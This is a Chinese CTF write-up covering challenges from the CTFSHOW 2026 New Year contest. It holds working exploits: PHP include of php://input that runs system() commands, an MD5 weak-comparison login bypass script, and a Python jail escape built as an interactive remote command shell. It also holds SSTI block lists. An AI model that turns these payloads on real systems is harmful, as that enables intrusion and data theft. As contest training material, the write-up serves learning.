CTFSHOW2026元旦跨年欢乐赛

CTFSHOW2026元旦跨年欢乐赛

Aristore

CTF部分

热身签到

Challenge

元旦时,我二舅姥爷给我出的密码题

1
54515552545455515456547055555566545654495548554855575370515051485150515453705555545755525456537054515551515051485150515450495568

Solution

From Decimal, From Hex - CyberChef

FLAG

1
ctfshow{happy_2026_with_cs2026!}

HappySong

Challenge

鼓声也可以很燃,虽然只有两个音节

Solution

CTFSHOW2026YuanDan-1

试了一下 01100011 01110100 二进制转字符得到 ct 就不用再试了,就是这个规律,一点点照着转就行

FLAG

1
ctfshow{just_a_nice_song}

Happy2026

Challenge

奇怪的2026

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);

$happy = $_GET['happy'];
$new = $_GET['new'];
$year = $_GET['year'];

if($year==2026 && $year!==2026 && is_numeric($year)){
include $happy[$new[$year]];
}

Solution

考的是 PHP 弱类型比较和数组/变量覆盖

我们需要满足 if 语句中的三个条件才能触发 include,从而进行文件包含或代码执行。

  1. $year == 2026 弱相等:

    • PHP 在使用 == 比较时,如果一方是数字,另一方是字符串,会尝试将字符串转换为数字。
    • 例如:"2026.0" == 2026 为真,"2026abc" == 2026 (在旧版本 PHP) 为真。
  2. $year !== 2026 强不等:

    • !== 比较值和类型,如果我们传入的是字符串 "2026.0",虽然值等于 2026,但类型是 String,而右边是 Int,所以条件成立。
  3. is_numeric($year) 数字检测:

    • is_numeric() 检测变量是否为数字或数字字符串。
    • 它允许小数形式(如 "2026.0"),但不允许包含非数字字符。

因此可以使用浮点数形式的字符串 2026.0 绕过。

include $happy[$new[$year]]; 是一个嵌套的数组取值操作。假设我们构造 Payload 如下:

  • GET 参数 year = "2026.0"
  • 我们需要构造 new 为一个数组,使得 $new['2026.0'] 存在。假设我们设 $new['2026.0'] = 'cmd'
  • 接着需要构造 happy 为一个数组,使得 $happy['cmd'] 存在。
  • 最终 include 的就是 $happy['cmd'] 的值。

我们尝试利用 php://input 伪协议,因为它允许我们将 PHP 代码作为 POST 数据发送给服务器执行。

构造 Payload:

  • URL参数:
    1
    ?year=2026.0&new[2026.0]=k&happy[k]=php://input
  • POST 数据:
    1
    <?php system('ls -al'); ?>

执行结果:

1
2
3
4
drwxrwxrwx    1 www-data www-data      4096 Dec 30 10:20 .
drwxr-xr-x 1 root root 4096 Dec 30 10:20 ..
-rw-r--r-- 1 www-data www-data 61 Jan 3 05:13 flag.php
-rw-rw-r-- 1 root root 217 Dec 30 10:20 index.php

为了防止 PHP 标签被解析,我们可以使用 Linux 的 base64 命令将 flag.php 文件内容编码为纯文本。

构造 Payload:

  • POST 数据:
    1
    <?php system('base64 flag.php'); ?>

获得一串 Base64 字符串。解码后即可看到源码和 Flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import re
import urllib3
import base64

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TARGET_URL = "..."

params = {
'year': '2026.0',
'new[2026.0]': 'k',
'happy[k]': 'php://input'
}

cmd = "base64 flag.php"
php_code = f"<?php system('{cmd}'); ?>".encode()

response = requests.post(TARGET_URL, params=params, data=php_code, verify=False)
match = re.search(r'</code>(.*)', response.text, re.S)
result = re.sub(r'\s+', '', match.group(1))
decoded = base64.b64decode(result).decode('utf-8')
print(decoded)

执行结果:

1
<?php $flag='ctfshow{20848734-d1d4-4ef5-9300-7a093a4d3e9b}';

FLAG

1
ctfshow{20848734-d1d4-4ef5-9300-7a093a4d3e9b}

SafePIN

Challenge

绝对安全的身份认证系统

Solution

前端实现了一个基于 SHA-256 的确定性 PRNG

源码中的 u32FromHex8 函数是所有随机数的来源:

1
2
3
4
5
6
7
function u32FromHex8(h8){
const b0 = parseInt(h8.slice(0,2),16);
const b1 = parseInt(h8.slice(2,4),16);
const b2 = parseInt(h8.slice(4,6),16);
const b3 = parseInt(h8.slice(6,8),16);
return (b0 | (b1<<8) | (b2<<16) | (b3<<24)) >>> 0;
}

它提取了 SHA-256 哈希值的前 8 位,采用了小端序重组,b0 是低位,b3 是高位。

1
2
3
4
async function prng_u32(seed, tag){
const h = await sha256Hex(seed + "|" + tag);
return u32FromHex8(h.slice(0,8));
}

所有的随机数都是通过 seed + "|" + tag 产生的,这意味着只要知道 seed 就能预知所有的键盘映射和频率微扰

这套系统通过 permute_0_9 改变了数字键对应的声音 ID,使得“按键 1”发出的声音并不一定是“ID 1”。

1
2
3
4
5
6
7
8
9
10
11
async function permute_0_9(seed){
const a = [...Array(10).keys()]; // 初始 [0,1,2,3,4,5,6,7,8,9]
let x = await prng_u32(seed, "perm"); // 获取初始随机状态
for(let i=9;i>=1;i--){
// LCG
x = (Math.imul(x, 1664525) + 1013904223) >>> 0;
const j = x % (i+1);
[a[i], a[j]] = [a[j], a[i]]; // 交换位置
}
return a;
}

Math.imul(x, y) 模拟 C 语言风格的 32 位整型乘法处理溢出。返回的数组 a 的键是实际数字,值是对应的 SoundIDsoundId = 10 对应 CANCEL 键,soundId = 11 对应 ENTER 键)。

查看 soundParams 函数中的核心计算:

1
const base = 1050 + soundId*23 + (((x & 0xff) - 128) * 0.35);

基准频率由 1050 + soundId * 23 决定,SoundID 0-11 的范围大约是 1050Hz - 1303Hz。微扰项 x 是由 prng_u32(seed, "p" + soundId) 产生的。由于微扰范围(约 90Hz)大于 ID 间隔(23Hz),不同 ID 的频率会交叉。我们需要针对当前会话的 seed 算出 12 个绝对的频率指纹点。

最后访问 /seed.php 得到 seed

1
{"ok":true,"seed":"294f2d41875fde53c5c15273cb675730","token":"a14d15d027318590bc5e227c6c692961","record_url":"\/record.php?token=a14d15d027318590bc5e227c6c692961"}

编写 Python 代码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
import hashlib
import struct
import numpy as np
from scipy.io import wavfile

SEED = "bf46354bb4019621c2c5ea5af89d525d"
WAV_FILE = "record.wav"

def sha256_u32(s):
"""
JS 中的 prng_u32 函数
输入字符串 "seed|tag",返回小端序的 uint32
"""
h = hashlib.sha256(s.encode()).hexdigest()
# JS: u32FromHex8(h.slice(0,8)) -> 取前8位hex
# JS logic: b0 | b1<<8 | b2<<16 | b3<<24 (Little Endian)
hex8 = h[:8]
val = struct.unpack("<I", bytes.fromhex(hex8))[0]
return val

def get_permutation(seed):
"""
JS 中的 permute_0_9 函数
返回: {SoundID: Digit} 的反向映射表
"""
a = list(range(10)) # [0, 1, ... 9]
x = sha256_u32(f"{seed}|perm")

for i in range(9, 0, -1):
# LCG 算法: x = (x * 1664525 + 1013904223) >>> 0
x = (x * 1664525 + 1013904223) & 0xFFFFFFFF
j = x % (i + 1)
# 交换
a[i], a[j] = a[j], a[i]

# a[digit] = soundId
# soundId -> digit
sound_to_digit = {sid: d for d, sid in enumerate(a)}
return sound_to_digit

def get_exact_frequencies(seed):
"""
JS 中的 soundParams 函数
计算 SoundID 0-11 对应的精确 Base 频率
"""
freqs = {}
for sid in range(12): # 0-9 digits, 10 cancel, 11 enter
x = sha256_u32(f"{seed}|p{sid}")
# JS: base = 1050 + soundId*23 + (((x & 0xff) - 128) * 0.35)
# x & 0xff 是取最低8位
offset = ((x & 0xFF) - 128) * 0.35
base_freq = 1050 + sid * 23 + offset
freqs[sid] = base_freq
return freqs

def analyze_audio(filename, target_freqs):
sr, data = wavfile.read(filename)

if len(data.shape) > 1: data = data.mean(axis=1) # 转单声道

# 归一化
data = data / np.max(np.abs(data))

# 简单的能量检测分割音频
threshold = 0.05
is_active = np.abs(data) > threshold

events = []
min_gap = int(sr * 0.06) # 60ms 最小间隔
curr_start = -1
silence_count = 0

for i, val in enumerate(is_active):
if val:
if curr_start == -1: curr_start = i
silence_count = 0
else:
if curr_start != -1:
silence_count += 1
if silence_count > min_gap:
# 截取片段,跳过开头的杂音 (前20ms)
start_cut = curr_start + int(sr * 0.02)
end_cut = i - silence_count
if end_cut - start_cut > int(sr * 0.03): # 至少保留30ms
events.append(data[start_cut:end_cut])
curr_start = -1

print(f"[*] 检测到 {len(events)} 个按键声音片段")

detected_sids = []

for i, chunk in enumerate(events):
# FFT 频谱分析
nfft = max(4096, len(chunk) * 4)
spectrum = np.abs(np.fft.rfft(chunk, n=nfft))
freqs = np.fft.rfftfreq(nfft, d=1/sr)

# 寻找 900-1500Hz 范围内的峰值
mask = (freqs >= 900) & (freqs <= 1500)
peak_idx = np.argmax(spectrum[mask])
peak_freq = freqs[mask][peak_idx]

# 寻找最接近的 SoundID
best_sid = -1
min_diff = float('inf')

for sid, target_f in target_freqs.items():
diff = abs(peak_freq - target_f)
if diff < min_diff:
min_diff = diff
best_sid = sid

detected_sids.append(best_sid)

return detected_sids

def main():
print(f"[*] 使用 seed: {SEED}")

# 1. 计算映射关系 (SoundID -> Digit)
perm_map = get_permutation(SEED)

# 2. 计算精确频率表
freq_map = get_exact_frequencies(SEED)

# 3. 分析音频
raw_sids = analyze_audio(WAV_FILE, freq_map)

# 4. 模拟输入状态机
for sid in raw_sids:
if sid == 10: # CANCEL
print("<CANCEL>", end='')
elif sid == 11: # ENTER
print("<ENTER>", end='')
break
elif sid in perm_map: # 0-9
digit = perm_map[sid]
print(f"{digit}", end='')

if __name__ == "__main__":
main()

输出结果:

1
2
3
[*] 使用 seed: bf46354bb4019621c2c5ea5af89d525d
[*] 检测到 11 个按键声音片段
779<CANCEL>447685<ENTER>

得到 PIN 为 447685,输入得到 flag

FLAG

1
ctfshow{31e51121-516d-49f2-8c8e-cde7f27eb382}

SafePassword

Challenge

  1. 根据情报,J国近年来对我国进行了持续的渗透攻击,我方技术人员经过溯源,发现某个可疑网址。
  2. 该网址疑似为J国的情报组织任务分配中心,但是我方并没有拿到登陆口令,无法继续深入。
  3. 已经确认嫌疑账号用户名为jcenter,此人2025年加入该组织,登陆口令未知。

Solution

1
2
3
4
$expected = getExpectedHash($channelKey);
if (md5($accessKey) == $expected) { // 弱类型比较 ==
$_SESSION['authed'] = true;
}

PHP 的 == 是弱类型比较。如果一边是字符串,另一边是整数,PHP 会尝试将字符串转换为整数再进行比较。例如:"2025abc" == 2025 的结果是 true

  1. 如何让 $expected 变成整数
    观察 getExpectedHashbuildExpectedHash 函数:

    • 如果 $channelKey 长度超过 64 或者包含特定不可见字符,buildExpectedHash 会抛出异常。
    • 内部 catch 块捕获异常后,会抛出一个新的异常,其错误代码为 VERIFY_FAILED,即 2025(这对应了题目背景中“2025年加入组织”的提示)。
    • getExpectedHash 捕获该异常后,调用 pickErrorCode。因为 2025ERROR_CODES 常量数组中,所以函数最终返回整数 2025
  2. 利用思路

    • 构造一个非法的 channel_key(例如长度大于 64 的字符串),迫使服务器返回整数 2025
    • 寻找一个字符串 access_key,使得它的 MD5 值以 2025 开头且紧跟一个非数字字符。
    • 发送请求,利用 md5("access_key") == 2025 绕过验证。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
import hashlib
import re
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
target_url = "https://f17eb0d1-e4c6-493c-a71d-3337998de431.challenge.ctf.show/"
session = requests.Session()

# 寻找符合条件的 access_key
def find_access_key():
prefix = "2025"
i = 0
while True:
test_str = str(i)
md5_res = hashlib.md5(test_str.encode()).hexdigest()
# 匹配 2025 开头且第五位不是数字的 hash,确保 PHP 弱类型转换结果正好是 2025
if md5_res.startswith(prefix) and not md5_res[4].isdigit():
return test_str
i += 1
if i > 1000000:
break

# 获取初始页面以拿到 CSRF token
res = session.get(target_url, verify=False, timeout=10)
csrf_search = re.findall(r'name="csrf" value="([a-f0-9]+)"', res.text)
csrf_token = csrf_search[0]
print(f"CSRF Token: {csrf_token}")

access_key = find_access_key()

# 构造 payload
data = {
"csrf": csrf_token,
"action": "login",
"access_key": access_key,
"channel_key": "A" * 70 # 长度超过 64 字节
}

res = session.post(target_url, data=data, verify=False, timeout=10)
flag = re.findall(r'ctfshow\{.*?\}', res.text)
print(flag[0])

执行结果:

1
2
CSRF Token: 27175dd27626768fab073983724c83e3
ctfshow{7c8914b8-81a4-4ab4-b7ae-d266644b16cf}

FLAG

1
ctfshow{7c8914b8-81a4-4ab4-b7ae-d266644b16cf}

AWDP防御题目

SafeCalc

Challenge

过于简单,不用防御

calc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

header('Content-Type: application/json; charset=utf-8');


$expr = $_POST['expr'] ?? '';
if (!is_string($expr)) fail('bad request');

$expr = trim($expr);
if ($expr === '') fail('empty');

if (strlen($expr) > 100) fail('too long');

$out="";
eval("\$out=($expr);");
echo json_encode(['ok' => true, 'result' => $out], JSON_UNESCAPED_UNICODE);

function fail(string $msg, int $code = 400): void {
http_response_code($code);
echo json_encode(['ok' => false, 'error' => $msg], JSON_UNESCAPED_UNICODE);
exit;
}

Solution

插入一行针对 $expr 的合法字符白名单校验,只允许数字、基础算术运算符、括号、小数点和空格通过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

header('Content-Type: application/json; charset=utf-8');


$expr = $_POST['expr'] ?? '';
if (!is_string($expr)) fail('bad request');

$expr = trim($expr);
if ($expr === '') fail('empty');

if (strlen($expr) > 100) fail('too long');
if (preg_match('/[^0-9+\-\/*(). ]/', $expr)) fail('illegal characters');

$out="";
eval("\$out=($expr);");
echo json_encode(['ok' => true, 'result' => $out], JSON_UNESCAPED_UNICODE);

function fail(string $msg, int $code = 400): void {
http_response_code($code);
echo json_encode(['ok' => false, 'error' => $msg], JSON_UNESCAPED_UNICODE);
exit;
}

SafeCard

Challenge

业务功能一定要正常哦

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from flask import Flask, request, render_template
from jinja2 import Environment, BaseLoader
import os
import re
from datetime import datetime

app = Flask(__name__)
app.config["FLAG"] = os.environ.get("FLAG", "CTF{dev_flag_placeholder}")

jinja = Environment(
loader=BaseLoader(),
autoescape=True,
variable_start_string="${",
variable_end_string="}",
)

BLOCK_WORDS = [
"import", "os", "subprocess", "eval", "exec", "open", "read", "write",
"globals", "locals", "builtins", "class", "mro", "subclasses",
"request", "config", "cycler", "joiner", "namespace",
]

def heavy_filter(s: str) -> str:
if not isinstance(s, str):
return ""
s = s[:800]
s = s.replace("{{", "").replace("}}", "")
s = s.replace("{%", "").replace("%}", "")
s = s.replace("{#", "").replace("#}", "")

s = re.sub(r"[\x00-\x08\x0B\x0C\x0E-\x1F]", "", s)

lower = s.lower()
for w in BLOCK_WORDS:
if w in lower:
s = re.sub(re.escape(w), "", s, flags=re.IGNORECASE)
lower = s.lower()

s = s.replace("..", "").replace("//", "").replace("\\\\", "\\")
return s

@app.get("/")
def index():
return render_template("index.html")

@app.post("/preview")
def preview():
name = heavy_filter(request.form.get("name", ""))
tpl = heavy_filter(request.form.get("tpl", ""))

if name.strip() == "":
name = "Guest"
if tpl.strip() == "":
tpl = "新年快乐,${name}!愿你 2026 天天好心情~"

ctx = {
"name": name,
"year": str(datetime.now().year)
}

try:
out = jinja.from_string(tpl).render(ctx)
except Exception as e:
out = "模板渲染失败:请检查输入内容"

return {"ok": True, "html": out}

@app.get("/healthz")
def healthz():
return "ok"

if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)

Solution

  1. 完善黑名单:增加了 __(防止双下划线方法)、self(防止沙箱逃逸)、[](防止字典/下标访问)以及 attrbase 等关键属性。
  2. 修复过滤逻辑漏洞:原代码使用 re.sub 将黑名单词汇替换为空字符串,这存在双重嵌套绕过风险(如 conconfigfig),将其修改为一旦检测到黑名单词汇,直接返回空字符串。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from flask import Flask, request, render_template
from jinja2 import Environment, BaseLoader
import os
import re
from datetime import datetime

app = Flask(__name__)
app.config["FLAG"] = os.environ.get("FLAG", "CTF{dev_flag_placeholder}")

jinja = Environment(
loader=BaseLoader(),
autoescape=True,
variable_start_string="${",
variable_end_string="}",
)

BLOCK_WORDS = [
"import", "os", "subprocess", "eval", "exec", "open", "read", "write",
"globals", "locals", "builtins", "class", "mro", "subclasses",
"request", "config", "cycler", "joiner", "namespace",
"self", "__", "[", "]", "attr", "base"
]

def heavy_filter(s: str) -> str:
if not isinstance(s, str):
return ""
s = s[:800]
s = s.replace("{{", "").replace("}}", "")
s = s.replace("{%", "").replace("%}", "")
s = s.replace("{#", "").replace("#}", "")

s = re.sub(r"[\x00-\x08\x0B\x0C\x0E-\x1F]", "", s)

lower = s.lower()
for w in BLOCK_WORDS:
if w in lower:
return ""

s = s.replace("..", "").replace("//", "").replace("\\\\", "\\")
return s

@app.get("/")
def index():
return render_template("index.html")

@app.post("/preview")
def preview():
name = heavy_filter(request.form.get("name", ""))
tpl = heavy_filter(request.form.get("tpl", ""))

if name.strip() == "":
name = "Guest"
if tpl.strip() == "":
tpl = "新年快乐,${name}!愿你 2026 天天好心情~"

ctx = {
"name": name,
"year": str(datetime.now().year)
}

try:
out = jinja.from_string(tpl).render(ctx)
except Exception as e:
out = "模板渲染失败:请检查输入内容"

return {"ok": True, "html": out}

@app.get("/healthz")
def healthz():
return "ok"

if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)

SafePHP

Challenge

不要把环境搞炸了

webService.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
<?php
function main_service($r){
router::go("admin");
}

function metrics_service($r){
check_login();

json_out(array('ok'=>true,'users'=>128,'jobs'=>7,'sync'=>date("Y-m-d H:i:s"),'n'=>s($r)['n']),s($r)['st']);
}

function users_service($r){
check_login();
$rows=array();
for($i=0;$i<8;$i++){
$rows[]=array('id'=>1000+$i,'name'=>'user'.($i+1),'role'=>($i%5===0?'maintainer':'developer'),'status'=>($i%3===0?'locked':'active'),'last'=>date('Y-m-d',time()-86400*$i));
}
$ss=s($r);
json_out(array('ok'=>true,'rows'=>$rows), $ss['n'], $ss['st']);
}

function admin_service($r){
$ap = check_admin();
$confPath=dirname(__DIR__).'/config.php';
$c=require $confPath;
$token = md5(md5($ap));
$token===$r['t']?json_out(array('ok'=>true,'s'=>$c['flag']),s($r)['n'],s($r)['st']):json_out(array('ok'=>false,'s'=>$ap),s($r)['n'],s($r)['st']);

}

function flag_service($r){
check_login();
call_user_func(str_replace("php","",$r['y']));
}

function repos_service($r){
check_login();
$rows=array(
array('name'=>'core','visibility'=>'private','size'=>'42MB','updated'=>date('Y-m-d',time()-86400*2)),
array('name'=>'plugins','visibility'=>'internal','size'=>'18MB','updated'=>date('Y-m-d',time()-86400*6)),
array('name'=>'mirror','visibility'=>'public','size'=>'7MB','updated'=>date('Y-m-d',time()-86400*11))
);
json_out(array('ok'=>true,'rows'=>$rows),s($r)['n'],s($r)['st']);
}

function jobs_service($r){
check_login();
$rows=array();
$states=array('running','queued','success','failed');
for($i=0;$i<10;$i++){
$rows[]=array('id'=>random_int(10,100),'type'=>($i%2?'sync':'build'),'state'=>$states[$i%4],'duration'=>strval(3+$i).'s','time'=>date('H:i:s',time()-$i*37));
}
json_out(array('ok'=>true,'rows'=>$rows),s($r)['n'],s($r)['st']);
}

function password_service($r,$sessionManager){
$user['role'] = $sessionManager->read()[2]['role'];
$user['username'] = $sessionManager->read()[2]['username'];
$user['password'] = (string)$r['password'];
$users = new Users();
json_out($users->update($user['username'],array("password"=>$user['password'],"role"=>$user['role'])),s($r)['n'],s($r)['st']);
exit;
}

function health_service($r){
json_out(array('ok'=>true,'time'=>date("Y-m-d H:i:s"),'service'=>'jcenter-admin','n'=>s($r)['n']),s($r)['st']);
}

function audit_service($r){
check_login();
$rows=array();
for($i=0;$i<12;$i++){
$rows[]=array('time'=>date('Y-m-d H:i:s',time()-$i*95),'who'=>($i%4===0?'system':'user'.($i%8+1)),'op'=>($i%3===0?'repo:write':'repo:read'),'ip'=>'10.0.0.'.(10+$i));
}
json_out(array('ok'=>true,'rows'=>$rows),s($r)['n'],s($r)['st']);
}

function logout_service($sessionManager){
$sessionManager->delete();
}

function login_service($r,$sessionManager){
$username = (string)$r['u'];
$password = (string)$r['p'];
$users = new Users();
if(!$users->exists($username)){
router::goLogin("用户名不存在");
}
$user = $users->get($username);
if($user['password']!==$password){
router::goLogin("密码错误");
}


$sessionManager->create($user['username'],$user['role']);
$ret['ok'] = true;
$ret['router']="/admin/admin.php?action=main";
echo json_encode($ret);
exit;
}

function unserialize_service($r){
unserialize($r['u']);
}

function s($r){
$st=isset($r['st'])?$r['st']:'ctfshow';
$n=isset($r['n'])?intval($r['n'])+1:0;
return array("st"=>$st,"n"=>$n);
}

Solution

非预期,把函数全删了就通过了

1
<?php

AWDP攻击题目

SafePythonJail

Challenge

Python 很安全,没事的,本来是防御题目,放到攻击题目感觉更好一点。

Solution

  1. 核心漏洞点:
    sanitizer.py_prune_node_exec 函数中存在一个逻辑错误:

    1
    2
    3
    4
    5
    6
    def _prune_node_exec(node: ast.AST, policy: Policy) -> ast.AST:
    # ...
    if isinstance(node, ast.UnaryOp) and isinstance(node.op, ast.Not):
    operand = _prune_node_exec(node.operand, policy) # 剪枝了操作数,但结果存在变量 operand 中
    return ast.UnaryOp(op=ast.Not(), operand=node.operand) # <--- 却返回了原始的 node.operand
    # ...

    这意味着,任何包裹在 not (...) 中的表达式在 execute 阶段的 prune_for_exec 处理时,都会保留其原始未修剪的 AST 节点。

  2. 签名绕过:
    canonicalize_for_signing 函数对于所有的 ast.Not 表达式都会返回统一的 "NOT(*)"

    1
    2
    if isinstance(node, ast.UnaryOp) and isinstance(node.op, ast.Not):
    return "NOT(*)"

    我们可以先用一个合法的 not True 获取签名(对应 NOT(*)),然后在执行时替换 payload 为 not (恶意代码)。由于恶意代码也被 prune_for_verify 剪枝成 False,其生成的规范化字符串依然是 NOT(*),从而绕过签名验证。

  3. 利用链

    • 通过 req(一个 Obj 实例)获取其 __init__.__globals__,从而进入 app.py 的全局命名空间。
    • 在全局空间中找到 _sessions 字典和 request 对象。
    • 利用 request.cookies.get('sid') 获取当前 session ID。
    • _sessions 中定位到当前用户的 SessionState 对象,并调用其 __setattr__ 方法将 stage 直接修改为 1001。

解题思路:

  1. 骗取签名:向 /prepare 发送 not (任意合法表达式),拿到 nonce 和针对 NOT(*) 的合法签名。
  2. 构造 Payload:利用 not (恶意代码) 结构。
  3. 外带数据:
    • 由于 eval 执行结果无法直接看到,我们通过劫持 _sessions 字典找到自己的 session。
    • 将执行结果写入 session.stage 属性。
    • 通过访问 /status 接口,服务器会将 stage 的内容以 JSON 形式输出。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class PyJailShell:
def __init__(self, url):
self.url = url
self.session = requests.Session()
self.session.verify = False
self.session.get(url) # 初始化 sid

def execute_command(self, cmd):
"""利用漏洞执行系统命令并返回 stage 结果"""
# 1. 获取签名
res_prep = self.session.post(f"{self.url}/prepare", data={"payload": "not 1"}).json()
if not res_prep.get("ok"): return f"Error: {res_prep}"

nonce, sig = res_prep["nonce"], res_prep["sig"]

# 2. 构造 Payload (将命令结果存入 stage)
# 使用 ( ... or 1) 确保内部返回 True,not 之后就是 False,防止 stage += 1 报错
python_code = (
f"req.__init__.__globals__['_sessions'].get("
f"req.__init__.__globals__['request'].cookies.get('sid')"
f").__setattr__('stage', req.__init__.__globals__['os'].popen('{cmd}').read()) or 1"
)
payload = f"not ({python_code})"

self.session.post(f"{self.url}/execute", data={
"payload": payload, "nonce": nonce, "sig": sig
})

# 3. 获取回显
res_status = self.session.get(f"{self.url}/status").json()
return res_status.get("stage")

def run(self):
while True:
try:
cmd = input("$ ").strip()
if not cmd: continue

output = self.execute_command(cmd)
print(output if output else "[*] Command executed (No output)")
except KeyboardInterrupt:
break
except Exception as e:
print(f"[-] Error: {e}")

if __name__ == "__main__":
TARGET_URL = "https://4d6c2947-7fe0-4700-bc06-b2ee0fb37db4.challenge.ctf.show/"
shell = PyJailShell(TARGET_URL)
shell.run()

执行结果:

1
2
3
4
5
6
7
8
9
10
11
12
$ ls
__pycache__
app.py
engine.py
requirements.txt
sanitizer.py
secret.txt
static
templates

$ cat secret.txt
ctfshow{e4072c2c-a896-4ad3-b928-95357f179f04}
  • 标题: CTFSHOW2026元旦跨年欢乐赛
  • 作者: Aristore
  • 链接: https://www.aristore.top/posts/CTFSHOW2026YuanDan/
  • 版权声明: 版权所有 © Aristore,禁止转载。
评论